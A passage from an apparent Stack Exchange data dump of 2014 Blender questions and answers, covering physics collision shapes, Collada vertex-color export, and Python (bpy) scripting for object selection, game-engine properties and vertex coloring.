&lt;li&gt;&lt;strong&gt;Mesh&lt;/strong&gt;: Allows to simulate concave objects, but is rather slow and unstable.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;To build these shapes using the UI:&lt;/h2&gt;&#xA;&#xA;&lt;h1&gt;Box:&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the target object and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; &lt;em&gt;&gt; Origin to goemetry&lt;/em&gt;, and then press &lt;kbd&gt;F6&lt;/kbd&gt; and select &lt;em&gt;bounds center&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the target object selected, press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;&gt; Cursor to selected&lt;/em&gt; to move the cursor to the objects origin.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a cube to be the bounding box. It will automatically be centered at the 3D cursor, which is snapped to the target object's origin point.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy the &lt;em&gt;Dimension&lt;/em&gt; and &lt;em&gt;Rotation&lt;/em&gt; values from the target object to the bounding cube. These values are located on the &lt;em&gt;Properties region&lt;/em&gt; (&lt;kbd&gt;N&lt;/kbd&gt; in the &lt;em&gt;3D view&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HVYFf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can quickly copy and paste values by hovering over the number field and pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;/&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this process of copying and pasting the values of each channel can be a bit tedious, you can use a quick bit of python to do this for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;active = bpy.context.active_object&#xA;selected = bpy.context.selected_objects&#xA;&#xA;for obj in selected:&#xA;    obj.dimensions = active.dimensions&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This copies the dimensions from the active object to the selected objects.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Parent the bounding box to the target object so the relative location, rotation, and scale is kept the same. You can also set the bounding cube's &lt;em&gt;Draw type&lt;/em&gt; to &lt;em&gt;Wire&lt;/em&gt; in &lt;em&gt;Properties &gt; Object &gt; Display &gt; Maximum Draw Type&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Sphere&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Do steps 1 to 3  from the &lt;em&gt;Box&lt;/em&gt; instructions, adding a sphere instead of a cube. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy only the largest dimension value from the target into all three dimensions of the sphere.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do step 3 of the instructions for &lt;em&gt;Box&lt;/em&gt; (Parent the bounding mesh and set the draw type to wire)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&#xA;&#xA;&lt;h1&gt;Cylinder&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Do steps 1 to 3  from the &lt;em&gt;Box&lt;/em&gt; instructions, adding a cylinder instead of a cube.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy the largest dimension value of the target excluding the Z axis, so the value of either X or Y into both the X and Y dimensions of the Cylinder.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy the Z dimension value of the target to the Cylinder.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do step 3 of the instructions for &lt;em&gt;Box&lt;/em&gt; (Parent the bounding mesh and set the draw type to wire).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Cone&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Do the same as for &lt;em&gt;Sphere&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Convex Hull&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This is more complex. you could try to generate your own using python, or you could try one of these existing options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/User:Nicholasbishop/Convex_Hull&quot; rel=&quot;noreferrer&quot;&gt;Convex Hull operator&lt;/a&gt;&lt;/em&gt; built into blender. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Duplicate target object (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the duplicate selected, enter edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;) and select all (&lt;kbd&gt;A&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run the convex hull operator (&lt;kbd&gt;Space&lt;/kbd&gt;&lt;em&gt;&gt; Search &gt; Convex Hull&lt;/em&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This &lt;a href=&quot;http://www.blendernation.com/2013/01/17/simple-convex-hull-generator/&quot; rel=&quot;noreferrer&quot;&gt;Convex Hull generator written in python&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Existing addons&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I also found a couple existing scripts/addons from a quick google search:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://code.google.com/p/blender-scripts/wiki/ExportPhysicsShapes&quot; rel=&quot;noreferrer&quot;&gt;One for exporting to YAML&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://niftools.sourceforge.net/wiki/Blender/Collision&quot; rel=&quot;noreferrer&quot;&gt;Niftools Wiki - Blender 2.49 nif import/export - Collisions&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/niftools/blender_nif_plugin/blob/develop/io_scene_nif/collisionsys/collision_export.py#L277&quot; rel=&quot;noreferrer&quot;&gt;Niftools - Blender 2.6x nif export collision code&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-07-30T07:55:43.017" LastActivityDate="2014-07-30T07:55:43.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6132" PostTypeId="1" AcceptedAnswerId="6148" CreationDate="2014-01-10T00:42:43.900" Score="3" ViewCount="4649" Body="&lt;p&gt;In order to demonstrate my problem, I created a simple scene with a cube and I used Vertex Paint to color one corner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9x8S7.png&quot; alt=&quot;Cube using Vertex Colors&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I export to COLLADA, I make sure that &quot;Include Material Textures&quot; is checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O1gcM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The vertex colors are not saved properly.  I've verified this by importing the COLLADA file back into a new Blender file and also by importing it into MeshLab, Sketchup, Photoshop and 3DS Max, none of which showed colors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the Stanford PLY format also supports vertex colors (and it worked well for this same cube), but the actual scene I'm dealing with has thousands of little complex objects and PLY can only export one object at a time.  I could write a script to export each object, but I'd rather get into one file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(using Blender 2.69, Linux 64-bit, any more info needed?)&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="1112" LastEditDate="2014-01-19T09:42:11.437" LastActivityDate="2014-01-19T09:42:11.437" Title="Can Collada export vertex colors?" Tags="&lt;export&gt;&lt;collada&gt;&lt;vertex-colors&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6133" PostTypeId="1" AcceptedAnswerId="6149" CreationDate="2014-01-10T00:42:59.457" Score="1" ViewCount="803" Body="&lt;p&gt;My scene contains a cone named 'MyCone'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to construct a Python script: get_XYZ_for_tip( 'MyCone' )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I go about doing this?&lt;/p&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2014-01-11T03:11:58.183" Title="Python script to determine XYZ of tip of cone" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6134" PostTypeId="1" AcceptedAnswerId="6143" CreationDate="2014-01-10T00:47:59.483" Score="3" ViewCount="1903" Body="&lt;p&gt;Instead of having several ray sensors each set to look for a specific property, I would like to have one ray sensor that looks at everything and have python decide what to do with what is hit based on the property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sensor = cont.sensors[&quot;Ray&quot;]&#xA;if sensor.positive:&#xA;    trigger = sensor.hitObject&#xA;    if trigger.(whatever would determine if it has the property):&#xA;        # do something&#xA;    if trigger.(another property):&#xA;        # do something else&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1920" LastEditorUserId="55" LastEditDate="2019-02-17T21:16:15.627" LastActivityDate="2019-02-17T21:16:15.627" Title="How do you check for a specific game engine property with python? (2.7x only)" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="6135" PostTypeId="1" AcceptedAnswerId="6137" CreationDate="2014-01-10T01:06:36.380" Score="7" ViewCount="3781" Body="&lt;p&gt;According to &lt;a href=&quot;http://wiki.blender.org/index.php/Dev%3aRef/Release_Notes/2.69/Cycles&quot;&gt;the documentation&lt;/a&gt;, the new &quot;squared samples&quot; feature in the render settings can &quot;make tweaking easier from an artists point of view,&quot; but it's not clear what this settings does, or how it would make tweaking easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, what does the squared samples setting do, and how do I exploit its powers?&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2015-07-12T07:43:58.607" Title="How does squared samples &quot;make tweaking easier?&quot;" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6136" PostTypeId="1" AcceptedAnswerId="6142" CreationDate="2014-01-10T01:06:44.903" Score="13" ViewCount="9159" Body="&lt;p&gt;In my export script I wish to export all object named 'foo*' in one format, and all objects named 'bar*' in another format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could write 2 separate exporters that operate on the selection (so I select all 'foo*' objects and execute FooExporter,  rinse and repeat for 'bar*'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I would rather get it done in one go, with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fooList = get_objects_starting( 'foo' )&#xA;for obj in fooList:&#xA;    foo_exporter( obj )&#xA;&#xA;barList = get_objects_starting( 'bar' )&#xA;for obj in barList:&#xA;    bar_exporter( obj )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I get a list of all 'foo*' objects?&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="29" LastEditDate="2014-01-10T07:43:43.490" LastActivityDate="2016-12-31T05:30:25.910" Title="How can I get a list of all objects named 'foo*'?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6137" PostTypeId="2" ParentId="6135" CreationDate="2014-01-10T01:12:01.173" Score="5" Body="&lt;p&gt;All it does is square the specified number of samples. So &lt;code&gt;10&lt;/code&gt; samples becomes &lt;code&gt;100&lt;/code&gt; samples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://projects.blender.org/scm/viewvc.php?view=rev&amp;amp;root=bf-blender&amp;amp;revision=58424&quot; rel=&quot;nofollow noreferrer&quot;&gt;commit log&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Cycles / Sampling UI:  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Add a &quot;Squared Samples&quot; option to the UI, to use squared values for ease of use. This can make it easier from an artist point of view, to weak settings. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;With this enabled, all Sample values will be squared. So 10 Samples become 100 Samples.&#xA;  For the &lt;s&gt;Non-Progressive&lt;/s&gt; Branched Path integrator: &lt;code&gt;4 AA Samples * 5 Diffuse Samples&lt;/code&gt; would become &lt;code&gt;16 AA Samples * 25 Diffuse&lt;/code&gt; = &lt;code&gt;400&lt;/code&gt; in total.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://blender.stackexchange.com/a/2791/599&quot;&gt;this related post&lt;/a&gt; and &lt;a href=&quot;http://lists.blender.org/pipermail/bf-cycles/2013-August/001609.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this thread on the bf-cycles mailing list&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-07-12T07:43:58.607" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6138" PostTypeId="2" ParentId="6136" CreationDate="2014-01-10T01:27:37.837" Score="7" Body="&lt;p&gt;Just combine list comprehension with &lt;a href=&quot;http://docs.python.org/3/library/stdtypes.html#str.startswith&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;str.startswith&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;foo_objs = [obj for obj in bpy.data.objects if obj.name.startswith(&quot;foo&quot;)]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="185" LastEditorUserId="3710" LastEditDate="2016-08-30T13:05:35.683" LastActivityDate="2016-08-30T13:05:35.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6139" PostTypeId="1" AcceptedAnswerId="6147" CreationDate="2014-01-10T01:43:41.510" Score="5" ViewCount="8889" Body="&lt;p&gt;I've learned that an object may contain multiple meshes. I want to export all vertices from all meshes. How do I iterate through them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there a simple way to know in advance the total count?  Other than doing 2 passes?&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="29301" LastEditDate="2018-10-10T23:53:48.063" LastActivityDate="2018-10-10T23:53:48.063" Title="How to iterate through all vertices of an object that contains multiple meshes?" Tags="&lt;python&gt;&lt;mesh&gt;&lt;scripting&gt;&lt;objects&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="6140" PostTypeId="2" ParentId="648" CreationDate="2014-01-10T03:54:49.893" Score="2" Body="&lt;p&gt;Ok. &#xA;It is pretty much everyone said but with an example. (Correct me experts if I am wrong).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine you are standing on a middle of the Train Tracks facing the direction of the track and looking as far as you can on the origin of Track. (Imagine without train as well :) ). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Track looks like it is coming from a single point  in your PERSPECTIVE. (&lt;a href=&quot;http://www.animationbrain.com/one-point-perspective.html&quot; rel=&quot;nofollow&quot;&gt;http://www.animationbrain.com/one-point-perspective.html&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But Orthographic(ally) they are parallel lines as everyone knows.&lt;/p&gt;&#xA;" OwnerUserId="2112" LastActivityDate="2014-01-10T03:54:49.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6141" PostTypeId="2" ParentId="2845" CreationDate="2014-01-10T06:05:04.260" Score="0" Body="&lt;p&gt;What ended up working for me was selecting the object and centering it and the root bone to the origin, and rigging the rest of the object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is important is that the very first bone that you place is centered at the object.&lt;/p&gt;&#xA;" OwnerUserId="2113" LastEditorUserId="599" LastEditDate="2014-01-10T07:57:36.287" LastActivityDate="2014-01-10T07:57:36.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6142" PostTypeId="2" ParentId="6136" CreationDate="2014-01-10T06:38:04.877" Score="16" Body="&lt;p&gt;If you want to use shell style globbing (&lt;code&gt;*.foo&lt;/code&gt;, &lt;code&gt;*.*abc&lt;/code&gt;, &lt;code&gt;[ab]*.bar&lt;/code&gt;) (as is used in the question), you can use &lt;a href=&quot;http://docs.python.org/3/library/fnmatch.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;fnmatch&lt;/code&gt;&lt;/a&gt;, either &lt;code&gt;fnmatch.fnmatchcase&lt;/code&gt; or &lt;code&gt;fnmatch.fnmatch&lt;/code&gt; for case insensitive matches.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import fnmatch&#xA;&#xA;scene = bpy.context.scene&#xA;&#xA;foo_objs = [obj for obj in scene.objects if fnmatch.fnmatchcase(obj.name, &quot;foo*&quot;)]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise you can simply do...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foo_objs = [obj for obj in scene.objects if obj.name.startswith(&quot;foo&quot;)]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more powerful pattern matching: check on Python's built-in regular expression (&lt;a href=&quot;https://docs.python.org/3/library/re.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;re&lt;/code&gt; module&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2016-12-31T05:30:25.910" LastActivityDate="2016-12-31T05:30:25.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6143" PostTypeId="2" ParentId="6134" CreationDate="2014-01-10T06:42:30.427" Score="2" Body="&lt;pre&gt;&lt;code&gt;sensor = cont.sensors[&quot;Ray&quot;]&#xA;if sensor.positive:&#xA;    trigger = sensor.hitObject&#xA;    if &quot;property&quot; in trigger:&#xA;        # do something&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may also want to check if the property exists and get it (all in one lookup), This can be done using &lt;code&gt;get&lt;/code&gt; a fallback value to avoid &lt;code&gt;try/except&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sensor = cont.sensors[&quot;Ray&quot;]&#xA;if sensor.positive:&#xA;    trigger = sensor.hitObject&#xA;    prop = trigger.get(&quot;property&quot;, None)&#xA;    if prop is not None:&#xA;        # do something&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This style of access is the same thats used in Python dictionaries. eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dct = {&quot;a&quot;: 2}&#xA;if &quot;a&quot; in dct:&#xA;    print(&quot;found&quot;)&#xA;&#xA;val = dct.get(&quot;b&quot;, 2)&#xA;print(val)  # -&amp;gt; 2 (or the value)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-10T06:42:30.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6144" PostTypeId="2" ParentId="6124" CreationDate="2014-01-10T07:03:49.720" Score="2" Body="&lt;p&gt;Assuming you are already in the panels &lt;code&gt;draw&lt;/code&gt; function and you have &lt;code&gt;curve&lt;/code&gt; assigned.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tot_splines = len(curve.splines)&#xA;layout.label(text=&quot;Number of curves %d&quot; % tot_splines)&#xA;&#xA;tot_points = sum(len(s.bezier_points) (if s.type == 'BEZIER') else len(s.points)&#xA;                 for s in C.object.data.splines)&#xA;layout.label(text=&quot;Number of points %d&quot; % tot_points)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However I'm not sure why you would want this, seeing as how the info window shows this already.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-10T07:03:49.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6145" PostTypeId="1" AcceptedAnswerId="6152" CreationDate="2014-01-10T07:08:08.170" Score="4" ViewCount="867" Body="&lt;p&gt;I want to access vertex colors directly from inside BMVerts, but I don't know how.&lt;br&gt;&#xA;I am able to access vertex colors indirect for inside BMFaces:&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;obj = bpy.context.active_object&#xA;mesh = obj.data&#xA;bm = bmesh.new()&#xA;bm.from_mesh(mesh)&#xA;layer_color = bm.loops.layers.color.get(&quot;col_test&quot;)&#xA;for bmf in bm.faces:&#xA;    #bmf.loops[0][layer_color] = new_color&#xA;    for loop in bmf.loops:&#xA;        color = loop[layer_color]&#xA;        print(color)&#xA;        loop[layer_color] = new_color&#xA;bm.to_mesh(mesh)&#xA;bm.free()&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this way I loop multiple times through the same vertex colors, because a face vertex is owned by multiple faces.&lt;br&gt;&#xA;I don't want to loop through all faces only to get access to the vertex colors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for something more direct, like:&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;obj = bpy.context.active_object&#xA;mesh = obj.data&#xA;bm = bmesh.new()&#xA;bm.from_mesh(mesh)&#xA;layer_color = bm.loops.layers.color.get(&quot;col_test&quot;)&#xA;for bmv in bm.verts:&#xA;    color = bmv.????[layer_color]&#xA;    print(color)&#xA;    bmv.????[layer_color] = new_color&#xA;bm.to_mesh(mesh)&#xA;bm.free()&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems there is no &quot;interface&quot; to access the vertex color from insider a BMVert directly, or am I doing something completely wrong?&lt;/p&gt;&#xA;" OwnerUserId="2114" LastEditorUserId="599" LastEditDate="2014-01-10T08:00:45.710" LastActivityDate="2014-11-27T09:28:16.587" Title="How to access vertex_color layer directly from inside BMVert" Tags="&lt;python&gt;&lt;scripting&gt;&lt;vertex-colors&gt;&lt;bmesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6146" PostTypeId="2" ParentId="6084" CreationDate="2014-01-10T07:13:56.043" Score="3" Body="&lt;p&gt;I figured out a way to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a script that first remembers all the locations of the control points of the NURBS curve (each of which has a color associated with it in a separate variable).  Then I converted the curve to a mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, for each vertex of the mesh, I loop through all the original NURBS control points, see which one is closest, and then color the vertex of the mesh with the corresponding color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qXL87.png&quot; alt=&quot;colored NURBS curve&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not perfect, it would be better if the colors slowly blended into each other, but if you have many control points, it might be OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll include the script I used in case anyone finds it useful:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;import copy&#xA;&#xA;&#xA;def color_nurbs_curve(nurbs_obj, color_list):&#xA;    &quot;&quot;&quot;Converts the NURBS curve which should already have a bevel object so it has some width.&#xA;&#xA;    color_list should be a list of colors each of which is a 3 element list with [R,G,B].&quot;&quot;&quot;&#xA;&#xA;    nurbs_coords = copy.deepcopy( [ nurbs_obj.data.splines[0].points[i].co for i in range(len(nurbs_obj.data.splines[0].points)) ] )&#xA;&#xA;    #Error checking&#xA;    if len(nurbs_coords) != len(color_list):&#xA;        raise RuntimeError('The color list must have a number of colors equal to the number of control points of your bezier curve')&#xA;    if nurbs_obj.data.bevel_object == None:&#xA;        raise RuntimeError('Your NURBS curve must have a bevel object')&#xA;&#xA;    scn = bpy.context.scene&#xA;&#xA;&#xA;&#xA;&#xA;    #Convert to mesh&#xA;    scn.objects.active = nurbs_obj&#xA;    nurbs_obj.select = True&#xA;    bpy.ops.object.convert( target='MESH' )&#xA;    #sometimes this conversion results in a bunch of doubles, so I remove the doubles&#xA;    remove_doubles(nurbs_obj)&#xA;&#xA;    mesh = nurbs_obj.data &#xA;&#xA;    if len(mesh.vertex_colors) == 0:&#xA;        bpy.ops.mesh.vertex_color_add()&#xA;&#xA;    nurbs_obj.active_material = bpy.data.materials.new('material')&#xA;    nurbs_obj.active_material.use_vertex_color_paint = True&#xA;&#xA;&#xA;    print(&quot;test&quot;,nurbs_coords[1])&#xA;&#xA;    #loop through each vertex&#xA;    num_verts = len(mesh.vertices)&#xA;    for vert_i in range(num_verts):&#xA;&#xA;        #record shortest separation. -99 signals unset.&#xA;        shortest_sep = -99&#xA;&#xA;        #loop through all the original bezier points to see &#xA;        #which one is closest and then color it with the corresponding color&#xA;        count=0&#xA;        for b_point in nurbs_coords:&#xA;&#xA;            b_point.resize_3d()&#xA;            temp_sep = (mesh.vertices[vert_i].co -  b_point).length&#xA;&#xA;            if temp_sep &amp;lt; shortest_sep or shortest_sep == -99:&#xA;                shortest_sep = temp_sep&#xA;                color = color_list[count]&#xA;&#xA;            count += 1&#xA;&#xA;        color_vertex( nurbs_obj, vert_i, color )&#xA;        print( &quot;Finished vertex: &quot; + str(vert_i) + &quot;/&quot; + str(num_verts) )&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;def color_vertex(obj, vert, color=[1,0,0]):&#xA;    &quot;&quot;&quot;&#xA;    Paints a single vertex&#xA;&#xA;    &quot;&quot;&quot;&#xA;    mesh = obj.data &#xA;    scn = bpy.context.scene&#xA;&#xA;    #check if our mesh already has Vertex Colors, and if not add some... (first we need to make sure it's the active object)&#xA;    scn.objects.active = obj&#xA;    obj.select = True&#xA;    if len(mesh.vertex_colors) == 0:&#xA;        bpy.ops.mesh.vertex_color_add()&#xA;&#xA;    i=0&#xA;    for poly in mesh.polygons:&#xA;        for vert_side in poly.loop_indices:&#xA;            global_vert_num = poly.vertices[vert_side-min(poly.loop_indices)] &#xA;            if vert == global_vert_num:&#xA;                mesh.vertex_colors[0].data[i].color = color&#xA;&#xA;            i += 1&#xA;&#xA;def remove_doubles(obj):&#xA;    &quot;&quot;&quot; Removes doubles using default settings&quot;&quot;&quot;&#xA;    bpy.ops.object.mode_set(mode='EDIT')&#xA;    bpy.ops.mesh.select_all(action='TOGGLE') #I believe objects are created with the vertices all not selected&#xA;    bpy.ops.mesh.remove_doubles()&#xA;    bpy.ops.object.mode_set(mode='OBJECT')&#xA;&#xA;&#xA;&#xA;##Example Usage    &#xA;##nurbs_obj = bpy.data.objects['NurbsCurve']&#xA;##color_list = [  [1.0, 0.0, 0.0], [1.0, 0.25, 0.0], [1.0, 0.5, 0.0], [0.5, 0.0, 0.0], [0.0, 0.75, 0.0], [0.0, 1.0, 0.0], [0.5, 0.5, 0.5], [0.75, 0.15, 0.9]   ]&#xA;##color_nurbs_curve(nurbs_obj, color_list)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2014-01-10T07:13:56.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
